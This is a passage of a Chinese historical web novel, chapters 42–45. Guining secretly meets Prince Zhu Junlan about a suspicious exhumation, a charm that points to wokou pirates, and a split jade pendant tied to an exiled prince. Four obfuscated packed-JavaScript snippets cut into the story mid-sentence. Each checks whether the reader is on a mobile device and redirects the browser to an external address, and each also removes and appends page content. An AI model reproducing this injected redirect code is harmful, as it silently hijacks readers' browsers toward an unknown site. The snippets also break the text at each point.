;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15657678|171000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 应该是请来给萧元荷看病的。归宁心知肚明，也不过多去掺和。不过看这情况，应该是不容乐观。 依着这情况，信佛的邓氏一定会去明渊寺祈福，遂道：“快十五了，婆母可能会去上香祈福，你找个人瞧瞧跟着她们，看她们都见了谁。” 归宁看着自己帮着布条的腿，唉声道：“不能出门，也是麻烦。” 南烟却道：“夫人这步棋走的精妙。” 归宁苦笑，恐怕这世间没有她这么蠢的设局人了，吃亏和受罪全都占了，“怎么说？” “初一那天，官家太太们坐了一屋子，连余太太那么喜欢挑刺的人，都说咱家婆母慈善，儿媳孝顺。府里这些乌糟事，传出去谁能信？可今儿，我看卢夫人那脸色铁青铁青，她本就和太夫人不对付，今儿见夫人的腿还赶不上大姑奶奶的猫重要，心里能不替您难过？” “日后总算有个亲近人替您说句话了。太夫人身边的人整日念叨姚三公子如何如何不堪，不停地给秋姨娘上眼药。卢夫人不瞎不聋的，也看出些门道来了。” “夫人这腿断的真是时候，大爷起不了半点儿疑心，至少这三五个月躲过去了。” 归宁哀叹一声，“但愿这几个月内能查出些有用的东西。” 正当归宁为躲过萧元绰的纠缠而有些得意时，一个突然送达的消息，让她立刻意识到，自己真不算个聪明人，刚走了一步好棋，就一定会下一步烂棋。 老天爷这碗水端得那叫一个公平，利弊参半。 正月十五一大早，倚梅园传来消息，有位年轻后生受母亲所托，给她带来了口信，这人要求，必须见到归宁之后，方能吐露内容。 可归宁这个样子连床都下不了，谈何出门？ 最终还是周嬷嬷跑了一趟，不出意外的无功而返。柳妈妈说，这人很神秘，就躲在马车里说了几句话，连面都没露。 越是这样，归宁越是抓心挠肺的难受。不过这人也留了话，他不着急，可以慢慢等归宁能出门后再说。 可归宁急呀，她快急疯了，恨不得立刻修书给母亲。 眼巴巴瞧着萧元绰，说想要上街看灯。萧元绰拍了拍她单薄的脊背，玩笑道：“大夫说了，你的腿不能随便动，若是骨头错了位，就要当一辈子的小瘸子了。” 要是能上街，支开萧元绰一会儿，也能让她见一见这个神秘人。再说元宵节灯会上人来人往，戴上鬼面，谁也认不出谁来。 按习俗，元宵节当日不能在娘家过，昨日萧元荷就被赵明敬接回了家，今天一早，邓氏也没出门上香，归宁遂问萧元绰：“夫君可有安排？” 萧元绰道：“晚间和几个朋友去河边游船看灯。还有我和姚家两位表兄说了，过两日去山上射猎。” 在她耳边不无遗憾道：“你若是能动，我想带你去。” 听闻萧元绰有出门的打算，归宁心里有说不出的高兴，心里正盘算着如何趁他不在时，悄悄出门去一趟倚梅园，见一见那位神秘的客人，萧元绰又凑了过来…… 42. 厚德载物 萧元绰生怕归宁休养在床无人陪伴，心里怨他处置不公，元宵节这日特意抽出些时间过来陪她。 见她手边的香囊总是绣不完，捡起来温声笑道：“阿宁，若是无事把香囊绣完吧，你看我这腰上空荡荡的。” 他贴在她身边，能清晰地闻到她身上的胭脂香，那味道他很熟悉，而摆在梳妆架上的胭脂盒他也不陌生。温润的唇一直在归宁耳边吹气，意识也有些心猿意马。 不得不承认，眼前的女子冰肌玉骨，秀色可餐，不施粉黛的容颜清丽脱俗，比之秦淮河边的莺莺燕燕更让他动情。 归宁不喜欢他贴在自己身侧，向里侧挪了挪身子，笑道：“夫君若是得闲，不如我们下盘棋吧。” 萧元绰爽快地应道：“好。”随意环顾了四周，最后指了指她案前的茶盏道，“你猜，猜对了你先落子。” 伸出三个手指头，意思是可以有三次机会，第一次无提示，第二次和第三次每次多给一个提示。归宁棋艺不及萧元绰，所以要用这种方式决定让子，第一次猜中让三颗子，第三次猜中则让一颗子。 归宁凭本事猜诗，理所当然的得他的让子，还算公正。 见他指向茶盏，归宁端起来轻啜了一口，“关于茶的诗句很多，这不公平。” 萧元绰凑过去笑道：“亲我一口，我先给你个提示。你亲我几下，我让你几个子，回头你输了几个子，我再讨回来，你看可好？” 归宁笑着躲开些许，“夫君从哪里学得这样无赖的招数，摆明了欺负我棋艺不如你。” 萧元绰继续往她跟前凑，“你是我娘子，这哪里算得上无赖？猜不猜，不猜我可下嘴了。” 归宁抿唇，挤出一丝笑颜，避开他凑过来的俊脸，沉吟片刻道：“矮纸斜行闲作草，晴窗细乳戏分茶。” 萧元绰微惊，“你怎么猜到的。” 归宁莞尔，笑得端庄娴雅，“随口胡诌的。”其实算不上胡诌，她能感觉到萧元绰回到京师后在官场上的失落，他觉得萧家不被皇帝重视，祖父积累的人脉并未福泽到他身上。 他看到了朝廷弊端，却位卑言轻，无法施展抱负。而陆放翁当年刚被启用严州知府，赴任前去临安觐见皇帝，住在西湖边的客栈里等候召见，百无聊赖中，写下了这首诗。 看到这盏茶，归宁能感觉到他故意借儿女情长掩盖官场上的失意，自然而然想起了这首诗。 当年邓氏不喜欢归宁，归宁还叹惜过唐婉，萧元绰拉着她的手信誓旦旦，“我不会让你受那份苦。” 见她猜对，萧元绰轻点她挺翘的鼻尖笑道：“还是你懂我。” 归宁脸上的笑意逐渐敛去，不，她不懂他，至少不懂他为什么表面对自己如此多情，背地里却如此无情。 更不懂，为什么看似君子如玉的翩翩公子，可以人前人后两幅面孔。 可在这场对弈里，归宁用了十成的心思。 萧元绰见她如此在意输赢，不知是内疚，还是无心与她争个高下，心里竟软了几分。后半场的落子少了针锋相对的杀伐果决，让归宁捡了个便宜。 一局结束，见时辰已到，有约在身的萧元绰准备出门，问道：“我选几盏漂亮的兔儿花灯带回来给你好不好？” 归宁属兔，故有此问。 “不用了，明年我希望可以自己上街去选。” 说这话时，归宁脸上带着淡淡的笑意，而萧元绰透过摇曳的烛火，感觉到了一股若即若离的疏远。 ** 月满冰轮，灯烧陆海。 一位身姿挺拔的白衣男子，头戴青面獠牙的鬼面，从热闹的人群中走来，驻足在萧府门口徘徊了两刻钟，直到守门小厮过来驱赶，才不甘地离开。 鬼面闹元宵，在隋唐一度盛行，而当今更多的是赏灯猜灯谜。男子的装束虽无不妥，到底有些不合时宜。亦如这错综复杂的缘分，总是这么不凑巧。 他本来已经打算返回福建，可是在应天发生的一件事，让他改变了主意，促使他不顾身份不便，再次北上来到京师。 可男女有别，伯府规矩森严，即便他身份尊贵，后宅的宗妇也不是他想见就能见到的。这个礼法至上的时代，规矩大于天。 ** 而此刻禁锢在深宅大院里的归宁，趁着偷来的片刻宁静，正倚在床头，翻看的是一本关于风水的古籍，她希望能从古籍上找出关于这款不同寻常的平安结的寓意，可始终没个头绪。 心烦之际，拿起一旁的香囊打算绣几针静静心，陡然又想起乐巧母亲的遗物，又让南烟拿过来。 她那日在马车上没有细细观瞧，回来后就让南烟收了起来，今日趁四下无人，便拿出来仔细瞧瞧。 玉佩触手生温，莹润光泽，为镂空雕刻，看图案好像是一只猪，南烟在一旁道，“是不是代表属相？” 有钱人家喜欢佩戴与属相相关的玉饰或金饰，求个吉祥，尤其是子孙昌盛的人家，可以借此区分年龄身份。 归宁未置可否，迎着烛光望过去，没有发现玉佩上有任何刻字。 随后又拿起绣帕自己看了看，除了绣工精湛，也没发现什么特别，直到她手指轻轻捻过手帕一角，竟感觉有些微的硌手，肉眼看去没什么不同，可摸起来就是有些不一样。 归宁让南烟把银釭拿近一些，举起帕子，迎着烛光望过去，竟见手帕的一角上有两个很小的字，透着光能依稀辨认清楚。 归宁指了指道：“南烟，你看到了吗？” 南烟紧点头，凑过去盯着看了半晌，才道：“夫人，你好像拿反了，调换一下。” 归宁依言调整了一下手帕的角度，这次辨认清楚了，是“厚德”两个字。 南烟还大声念了出来，“厚德是什么意思？” 归宁拍了拍她的手，“别乱喊。”至于因何制止她，归宁没有解释，如果她所猜无错，另外两个字应该是“载物”。 这四个字听起来稀松平常，实际上在本朝又极其不寻常 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15672306|171000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，再加上这半块玉佩，更是让谨慎的归宁不敢胡言。 归宁捏着帕子，问道：“乐巧识字吗？” 南烟道：“应该简单认识几个，会写自己的名字。赵太太也不识几个字，乐巧能好到哪里去？” 归宁将帕子小心的折好，让南烟仔细收起来，叮嘱道：“可不能出去乱说，知道吗？” 南烟点了点头，有些不甘心地凑在归宁耳边问道：“夫人是发现了什么吗？” 尚未证实，归宁不敢乱说，谨慎道：“还不确定，容我再思量思量。好生把东西收起来吧。” 她心里已经隐隐有了一个猜测：乐巧的身世，恐怕比他们任何一个人想到的都要复杂。 厚德载物，按照本朝太祖建国时立下的规矩，先皇是“厚”字辈，当今圣上是“载”字辈，太过不同寻常了。 ** 心里挂着事，当晚归宁心不在焉地绣了几针香囊，早早歇下了。当夜萧元绰半醉而归，邓氏让邓雪柔在前院伺候，归宁就当不知此事。 正月十六，萧元荷又回了萧家，这次简哥儿没有同来。按惯例，她先来归宁的孤芳苑看看，带了些补品，说了几句软话。 邓氏也跟着宽慰了归宁几句，让她好好养伤等等。 归宁一直等着邓氏说邓雪柔的事，可到最后也没见她开口。她至少要卧床三四个月，这期间萧元绰身边连个服侍的人都没有，这是邓氏开口纳邓雪柔进门的绝佳机会。 前世是她小产之后，御医说要好生保养，没过多久邓氏做主，归宁点头，纳了邓雪柔这个贵妾。 要说萧元绰对邓雪柔有多好，归宁并无多大感觉。不过邓雪柔有儿子傍身，之后还生了个女儿，只是没养活。 本朝律令：“凡以妻为妾者，杖一百。妻在，以妾为妻，杖九十，并改正，若有妻更取妻者，亦杖九十，离异。”以萧元绰的品性与上进心，断然不敢做这等伤风败俗之事。 萧元绰便是有意偏袒邓雪柔，也绝不会让她越过正妻去。宠妾灭妻这种事，萧家人不会摆到明面上来。 政治上的血雨腥风都不过是史书上的寥寥数笔，局外人都嗅不到半点儿风声；内宅这点子事，但凡有能耐的男人，都不可能让这些腌臜事翻出水花来。 如今这么好的机会归宁给了，邓氏却不肯接招，只字未提，多少有些让归宁意外。 邓氏与萧元荷小坐了片刻，起身前往明渊寺上香。 见她们二人出门，南烟和秦三乔装打扮一番紧跟其后，一直到了下午申时才回来。 南烟垂头丧气道：“她们没去后山，陪同的丫头婆子也没人去。不过太夫人和寺庙里的一个和尚很熟，还将众人遣出去，听这和尚诵经。大姑奶奶都没跟进去。” 归宁问道：“哪个和尚？” 南烟道：“好像是寺庙里的执事，我听有人这么称呼他，叫什么……什么承远师傅……” 归宁瞳孔震动，心跳狂乱，“你……你说什么？” 43. 又见故人 见归宁情绪略显激动，南烟又重复了一遍，“好像是叫承远。哦对了，他右眼角上方有颗黑痣，很明显。” 归宁喃喃道：“那就是了，就是他……”前世就是他说有办法替她消除上一世的业障，帮她求个孩子，她竟然信了，一五一十照做，险些将命折进去。 南烟不解，“是什么？” 归宁手扶胸口，极力压制心中的愤怒，暗暗攥了攥拳道：“派人查查这个和尚的底细。” 她手里有无数条线，可每条线都是断的，让她思绪极为混乱。感觉每一条线背后都有千丝万缕的联系，可她就是找不出这关键点。她希望母亲那里的消息能助她一臂之力。 她一刻都不想耽搁，想尽快出门见见母亲派来的人，可偏偏自己的蠢主意将自己困在这方寸之间…… 好在上天还是相当眷顾苦命的她，转机来得很快。 萧元绰准备在十七这一日同姚家几位爷去西山狩猎，当日一大早，姚家几个人来萧府喊萧元绰。 好消息是姚瑾若不是空手来的，他驾来了一辆马车，马车内装了一个轮椅，这辆马车经过特殊改造，启动机关，就可以把轮椅抬上车或者卸下来。 这样只要有人推归宁出来，上下马车就不成问题了，以后出门会便利不少。 萧元绰见状很欢喜，立刻决定试一试。因西角门距离归宁的院子最近，就让马车停在了此处。 他把归宁抱上轮椅，推着她出了门，亲眼看归宁体验了一遍，才放心地让人收下。 尝试结束，又将归宁推了回来，将她抱上床，揽着她道：“三四个月不让你出门，真真是闷坏了，还是姚三有眼色。” 又叮嘱道：“我出去三五日就回了，你在家好好养着，切莫乱动。” 归宁嘴上老老实实应着，心里却琢磨着怎么赶快出门。 是以，萧元绰前脚才离开，归宁后脚就让人给柳妈妈带信儿，说她两日后出门。 ** 好不容易熬到正月十九这一日，正是萧元绰离开的两天后，这日天刚蒙蒙亮，就听见有人急敲萧府大门，来人正是萧元荷身边的丫头鹭飞。 鹭飞直奔太夫人居住的福寿堂。这边孤芳苑的下人们刚掌灯，主子还未醒，那边太夫人邓氏已经跟着鹭飞坐车去了赵家。 辰时初，坐在床上养伤的归宁听完婆子们的回话，准备用过早饭就出门。 周嬷嬷进来说了福寿堂的事，归宁拿箸的手一顿，沉吟片刻才道：“既然没人知会我，我们就当不知此事吧。我吃完饭要出去一趟，太夫人不在，也省去不少麻烦。”她知道肯定是萧元荷那边有惹出了什么事，但想想这种事最近也没少发生，便没有十分上心。 透过窗棂，归宁能感觉到今日的天晴得很好，对周嬷嬷道：“若有人问起，就说我闷得慌，去母亲的院子里赏梅去了。” 用过饭，两个孔武有力的婆子将归宁抱上轮椅，推她出了孤芳苑，从离后院最近的后角门出去，上了马车。 秦三驾车将人送去了倚梅园。 而她要见的人，已经在后院一处僻静的花厅等候，听到外面的动静，花厅的门打开，里面走出一位约莫二十多岁的魁梧壮士。这人手执长棍，腰上别着小巧的弓弩。穿一身蓝灰色粗布曳撒，虎背蜂腰，面庞黝黑，神色肃穆。 归宁上下打量了一眼，感觉这人应该是个武功极高的练家子，颔首见礼道：“壮士好。” 这人抱拳道：“我家主子等夫人多时了，夫人请。” 柳妈妈早就听说归宁受伤的事，提前让人准备好了一大块木板垫在台阶上，和南烟一起费力地将归宁往上推。那壮汉瞧着二人甚是吃力，好几次想出手相助，最后碍于礼仪，都不了了之。 南烟推归宁进了花厅，只见一男子背身而立，身形挺拔如松，即便只穿一身粗布白衣，也难以遮掩这人与众不同的卓然风姿。 男女共处一室本就不合规矩，何况归宁还是个半残，南烟不放心，遂道：“公子，我家夫人身上有伤，我留下来伺候吧。” 男子依旧背对着她们，道：“吾受宋娘子之托，不会加害夫人，请姑娘放心。” 便是多一人，他都不愿见。 归宁道：“南烟，你去外边等着吧，这里是母亲的院子，劳烦公子过来见我，已经很迁就我们了。” 南烟依言出了花厅，从外面将厅门紧闭。跟着柳妈妈和那位壮士一起，在院子里晒着太阳，假装在赏梅。 ** 见屋内无外人，男子才缓缓转过身来，他脸上带着银色面具，只露出光洁的额头和如星般闪耀的黑眸。 他缓缓开口道：“夫人，是我。” 这声音很熟悉，归宁听着又是疑惑又是担忧。 怎么是他？ “小周王，怎么是您？”上次匆匆一见，他就说要奉诏离京，怎么这么快又回来了？ 纳罕间，归宁又问道：“您不是回福建了吗？” 朱君澜低声道：“我本该于十一月离京，与一位巡防沿海事务的御史同行，不过他临时转道去了山东，我继续南下，去苏州小住了几日，又折返应天。” “计划和应天几位出身福建的旧友会个面，便回福建。临走之前恰听说令堂宋娘子回了应天，便有幸见了夫人的母亲。” “当时令堂正在调查一桩府中旧事，我与刑部官员相熟，就顺手帮了个小忙。” “弘文伯府一位唤作单妈妈的人，令堂怀疑她死的有些蹊跷。我们便悄悄寻到单妈妈的家人，征得其同意，打开了单妈妈的棺椁。请衙门里精通验尸的仵作仔细勘验后，确认单妈妈死前受过极大的折磨。肋骨、腿骨均有断裂，而且还是死前不久造成的。” “据令堂说，单妈妈是陪着现任弘文伯萧大人一起在应天为先辈守灵，感染风寒去世，而验尸结果明显和实际不符。” “据单家人交代，单妈妈去世前，单家人并不在跟前，而是由萧大人收敛了尸体，交到单家人手中。为了感念单妈妈对老夫人的陪伴，灵堂也设在了萧家祖宅。入殓之时，才埋入单家人的坟地里。” “宋娘子觉得这其中藏着大问题，因事关弘文伯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15687014|171000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 萧元绰，小王觉得还是亲自上京将这个消息告知夫人更妥当。” 小周王说得轻描淡写，但归宁清楚，若不是有小周王的帮忙，母亲一个女子，怎能瞒过萧元绰在应天的眼线请来仵作验尸？ “我的身份不便在京师公然露面，只能让夫人出门来见，还请夫人海涵。” 归宁有些歉然道：“是我们给殿下添麻烦了。事情我知道了，殿下还是尽快南下回福建吧，若是让有心之人发现殿下行踪，恐怕会惹来大麻烦。” 朱君澜并没有回应她南下之事，而是转而道：“夫人是怎么受伤的？是不是弘文伯府有人为难夫人？” 归宁面色一红，有些羞赧道：“不，不是，是一场意外。” 朱君澜眉头蹙起，“什么意外？” 归宁面色尴尬，低喃道：“因……因一些内宅之事……” 朱君澜往前靠了两步，高大的身躯遮挡了窗棂处射进的阳光，将归宁笼在一片阴影下，“夫人是遇到了什么难事吗？” 被他如此追问，归宁更加难以启齿，这种隐晦的夫妻之事，怎好对一个外男讲？让她如何开口说，她把自己摔成这个惨样，就是不想和萧元绰圆房？ 朱君澜锐利的眉眼扫过归宁，将她的为难收入眼底，正欲跳过这个问题，犹豫许久的归宁嗫嗫嚅嚅地道：“我……我……” 见她肯解释，朱君澜就耐心等她把话说完。 “那个……府中杂事繁多，我不想深陷其中，想寻个由头躲清闲，没把握好轻重，就……就弄成了这样……” 归宁从小到大没编过瞎话，话说得很没底气。 落在朱君澜眼中，只觉得这女子太过柔弱良善。她这个样子，怎斗得过萧元绰那般精明的人，他又怎忍心眼睁睁看着恩人唯一的女儿置身虎口，而放任不管呢？ 事情查明之前，他不能回福建，可他若留下，对方肯定会担心连累他而心生负担，这不是朱君澜想要看到的。 他得寻个光明正大的理由，打定主意后道：“夫人可知萧大人去了西山？” 这有什么不妥吗？归宁有些不解地点头，“是，难得元宵休沐，他和几位表哥去西山狩猎了。” 小周王很笃定道：“他的主要目的应该不是狩猎。” 归宁大惊：“那……那是什么？” 归宁知道，萧元绰此人向来心细，可她没料到，他竟然如此难以应付。 小周王也没有卖关子，而是道：“自上次徐四在西山萧家别院外看到黑衣人之后，就派了人在那里日夜留守。发现这两日萧元绰带人上山，表面上是冬猎，实际上是在暗中调查那日在萧府外的陌生人。” “徐四派去盯梢的人险些被他发现，现在已经跑回来了。短时间是不能过去了。” “姜妈妈过世的当晚，徐四对那人连射两支冷箭，有一支箭矢没收回来，可能就在萧大人手上。”他竟然连姜妈妈的名字都记得，可见徐四转述的用心，他自己也十分上心。 归宁急声道：“箭矢上是有什么特殊标记吗？会不会因此连累徐四公子？” 44. 缘分 见她眸光中流露出焦急与不安，朱君澜无端地对她起了几分怜惜，明明自己才是最危险的那个，却先惦记别人，生怕连累别人，开口温声安抚道：“普通的羽箭，没什么特殊。只不过徐四最近有事要出门，我正好借用他的身份留在京师，帮夫人把此事查清。” 归宁仍是担忧：“这怎么能行？皇命难违，小王爷切莫冒险，您若有个闪失，我……我……”她将如何向福建封地的百姓交代？如何向周王交代？ 归宁艰难地转动轮椅，来到朱君澜面前，抬头仰视他罩着银面的脸，“小王爷有所不知，杨阁老生前与外祖父交好，杨老夫人更是受外祖母所托，照看我们母女，我若有难处，可以寻他们。小王爷切莫为了当年的事，置自己于险境，若是这般，父亲在天有灵，也会怨恨我。” 见他不为所动，归宁继续道：“横竖这几个月我行动不便，事情也没有那么着急，若是需要帮忙等徐四公子回来再办也不迟。” 她不曾见过徐四，宁愿去麻烦一个陌生人，也不愿意让他帮忙，这让朱君澜多少有些失落，低垂着眼凝视她脸上的惶惶不安，良久才缓缓道：“其实我受一故人之托，还有一件事要做，正好有了些线索，一并处理了。” 这还真不是瞎编，确有其事，可线索还真没有。 归宁闻言，才稍稍安了些心，旁人的事她不好置喙，可还是叮嘱道：“小周王身份特殊，切要小心保重才是。” 朱君澜嘴角勾出一丝淡笑，道：“夫人不必太过担忧，我父王尚在，我孤身一人在京师，当个人质还差不多，那里能触动祖宗礼法了？只不过是祖训不可废，最差也不过是被皇帝叫过去训斥一番罢了。若是停留时间过长，我会再上书给皇上的。” 本朝最初不许藩王私自进京，就是怕他们携带私兵谋反，或者与京师的官员暗中勾结，明修栈道暗度陈仓，小周王这种情况的确构不成威胁。 归宁亦觉有理，“妇人拙见，让小王爷见笑了。” 朱君澜言归正传，道：“听徐四说，你们从那黑衣人身上拿到一个掉落的平安结，能否让我看看。” 徐四凭记忆大致画了个样式给他看，他觉得有些眼熟，想拿实物亲自辨认辨认。 归宁进来时，已经让柳妈妈将重要东西拿给她，若是这人靠得住，她本也是要拿出来让他看一看的，遂从袖中取出平安结，递给小周王。 朱君澜拿在手里翻来覆去仔细观瞧了片刻，本就微蹙的眉头皱得更深了，他有些怀疑自己的眼睛，可再三辨认之后，觉得自己并没有认错。 可萧元绰一介文官，怎会认识这些人呢？况且他也不曾去过东南沿海一带呀？ 那杀手做这么危险的事，还带在身边，说明这东西对他非常重要。且这平安结有些褪色，说明佩戴时间很久且很珍视。据他了解这种东西只在一种人身上很常见，但他们不属于我朝中人。 归宁见小周王的神色很是讳莫如深，小心开口道：“小王爷是发现了什么不妥吗？” 朱君澜静默须臾，不知如何开这个口，此事非同小可，但有牵连，一定会祸及满门，思虑片刻他还是很谨慎的开了口：“不瞒夫人，这种平安结我曾在袭扰福建的一些倭寇身上见到过，他们大多是东瀛人。” 归宁的声音提高了一截，显然有些不敢置信，“倭寇？怎么可能？” 不可能，这绝对不可能。萧元绰饱读圣贤书，一心要在官场上有所作为，怎么会和倭寇勾连在一起，自毁前途？他又不是武将，有养寇自重之嫌，他一个文官，和倭寇勾结能有什么好处？ 凭归宁两世对萧元绰的了解，她非常坚信，这不是萧元绰的作风，摇头坚定道：“不会，他不是这种人。” 朱君澜更相信手中的证物，“即便那人不是倭人，也和倭人有千丝万缕的联系，这东西我不会认错。还有萧元绰如此紧张那日放箭的人，亲自去西山调查，或许真与这平安结不同寻常的来历有关。” 归宁细细回忆起来，的确萧元绰开始说不打算去，后来她摔伤了腿，不能陪他过节，他才改了主意。难道改主意是另有缘故？ 她前后两世嫁的男人，真的是这么不堪吗？她可以容忍他的薄待，大不了日后回应天祖宅去给外祖母守灵。可她接受不了他通敌叛国，这种人就不该留在世间。 若只是前者，外祖母辛辛苦苦支撑起的弘文伯府还能维持体面，可若是后者，萧家一家都会走向万劫不复的境地。 归宁懊恼地捶打着自己没受伤的那条腿，声泪俱下道：“他怎敢……怎敢……” “他怎么能这样？”她没有办法说服自己去接受这样一个事实，“他不该是这样的人……外祖母，你睁开眼看看，自己倾尽一生心血带大的孙儿都干了些什么呀！” 朱君澜一把握住归宁不断捶打自己的那只手，开解道：“夫人莫要多想，或许这其中有什么原委是我们不知道的。萧元绰一介普通文官，又在京任职，属实有些蹊跷。” 归宁将万般心绪强行压下，吸了吸鼻子，将眼角的泪痕擦干，哑声道：“我想个办法试着把他身后这个人引出来，不过不一定能行。” “他并不知道我在调查他，趁他还没有对我起疑，还能一试，再拖延下去恐怕会让他发现端倪。” 朱君澜半蹲下来，和端坐在轮椅上的归宁身高平齐，不再是之前高高在上俯视她的模样，“夫人打算怎么试？” 归宁自觉让身份尊贵的小周王半蹲在自己面前有失礼数，想自己撵动轮椅，去四方桌前，请小周王落座，给他倒杯茶。 怎奈操作不熟练，无论如何轮椅都转不了弯，真是又尬又急，额头都冒出细细的汗。 朱君澜见状，起身扶住轮椅靠背，低缓道：“夫人要去哪儿？我推你过去。” 归宁神色赧然，“我腿脚不便，怠慢了贵客，实在失礼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15696785|171000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。请小王爷去桌前小坐片刻吧。” 朱君澜将归宁推到雕窗前，窗外梅枝横斜，天气舒朗。归宁熟练地将红泥小火炉上温着的铜壶拿下来，给朱君澜沏了一盏茶。 悠悠茶香，弥漫在花厅上，衬着一窗的明亮幽静，若无烦事在心头，真是人间好时光。 朱君澜轻啜了一口清茶，笑道：“夫人还没说打算怎么试一试他。” 归宁低眉，手中紧张地搅着一方锦帕，缓缓道：“外祖母在山东陪嫁的庄子需要去查一查，管庄子的是外祖母的陪嫁，之前在府里当差，府里不少管事都认识，此次派人定会派靠得住且脸生的人过去。” “夫君回京不久，他身边可靠的人不算多。能派去刺杀姜妈妈的人一定是他最信得过的，或许能借查山东庄子的事，把此人调出来。” 届时萧元绰派谁去，半点儿不由归宁掌控，只能听天由命，“不过只当是试试，未必能成。” 朱君澜微微颔首，“至少我们知道了这个人的存在，只要有机会，我们就有着手之处。” 归宁轻叹，“只当一试吧。”她从来没有似今日这般彷徨，依她前世对萧元绰的印象，他绝对没有做过私通外敌的事。 她不知道到底是她前世看人不明，还是今朝哪里出了纰漏，总之一切没有向好，反而越来越差。 见她如此颓然，朱君澜不免安慰道：“如今都只是我们的胡乱猜测，夫人切要宽心。” 不过这话连他自己都骗不了，何况是局中人。归宁今日不想在谈论关于萧元绰的任何事，正琢磨有没有其他突破口时，想起了乐巧和那明渊寺老和尚的事。 遂道：“小王爷，我还有样东西想请您帮忙辨识一二。”小周王大抵是她这一生中唯一能接触到的皇室子弟，除了他，她已经无人可问。 朱君澜道：“夫人请讲。” 归宁从袖中取出包裹着半块玉佩的那块残帕，顺着光滑的红木桌子推到小周王面前，“小王爷看看这样东西，可有什么讲究？” 朱君澜小心的打开锦帕，还未拿起那半块玉佩仔细观瞧，眼中的神色就已有几分不镇定。 此时此刻，能够形容他心情的唯有那句老话：踏破铁鞋无觅处，得来全不费工夫。 心中不由暗想，自己与这萧家夫人真是有缘，他本已不抱希望的事，如今竟然以这种形式送上门来，真是奇妙呀。 归宁看不到掩藏在面具之下的神色变化，道：“这块帕子上绣着‘厚德’二字，我猜另一半应该是‘载物’，特意将这几个字绣上去，应该是暗示孩子生父的身份。” 她将乐巧的身世大致说了，期望能从小周王这里得到些提示。 朱君澜将手伸进怀里，默默地掏出一方折叠整齐的东西，也顺着红木桌案推了过来，笑道：“我与夫人真是有缘分，刚刚还说受故人之托寻一人，夫人就将最重要的线索给了我。夫人才是我的贵人。” 45. 福王 初始归宁以为小周王只是表面上的客套，直到看到他递过来的东西，才恍然大悟。 同样是半块残帕和半块玉佩，与她给小周王的东西几乎一模一样。 正在疑惑间，小周王伸出白皙修长的手指，拿起两块玉佩，严丝合缝地拼成了一个福字猪，原来那半块是福字的“礻”字旁，另一半是雕刻成猪形的“畐”字。 本该是有福气的人，如此一拆，也将福气散尽了。 小周王将拼好的玉佩拿给归宁看：“应该是她没错了。” 尽管这件事涉及到皇室密辛，可证据和人都是归宁引出来的，朱君澜就不再隐瞒，一五一十道：“这事还要从五年前说起，先帝薨逝前，突然命七殿下福王，南下广东就藩，圣旨下达次日就要启程，一刻不得耽搁，此事夫人不觉得奇怪吗？” 归宁被他这突如其来的反问弄得一愣，本能脱口而出：“广东山高路远，乃南蛮荒凉之地。水土温暑，加有瘴气，莫不是七殿下做了什么惹了先帝不快的事？” 据她所知，没有哪个藩王愿意去广东、福建这样的地方就藩。那里多山地丛林，进出往来不便，潮湿闷热，蛇虫鼠蚁盛行，瘴气遍地，最不宜将养。 藩王在封地都是土霸王，即便不是为了穷奢极欲的享受生活，也会尽量选宜居的地方安享晚年。 没有几个似周王一脉这般。 朱君澜道：“夫人猜对了一半。当年五殿下与七殿下的皇位之争闹得水火不容，恰嘉元四十六年夏，黄河决口，淹没良田无数，五皇子被先皇派去赈灾，七皇子被派去应天调粮。” “众臣皆猜测，这是先帝对两位皇子的考验，谁办差办得好，谁将有可能继承大统。” “谁知两位殿下刚走不久，先皇就突然生了一场重病。” “在这之前七皇子已经买通了宫中的一位近身伺候的太监和锦衣卫里边的一名官员，最先听到先皇病重的消息。” “先皇生命垂危，随时有可能驾鹤西归。七殿下不忍放弃这千载难逢的机会，偷偷潜回京师，计划来个捷足先登。” “怎料，先皇早有预见，提前作了部署。且经太医们不懈努力，先皇很快苏醒过来，七殿下阴谋败露。” “先皇对七殿下很失望，下诏传位于五皇子，命七皇子去广东就藩。” 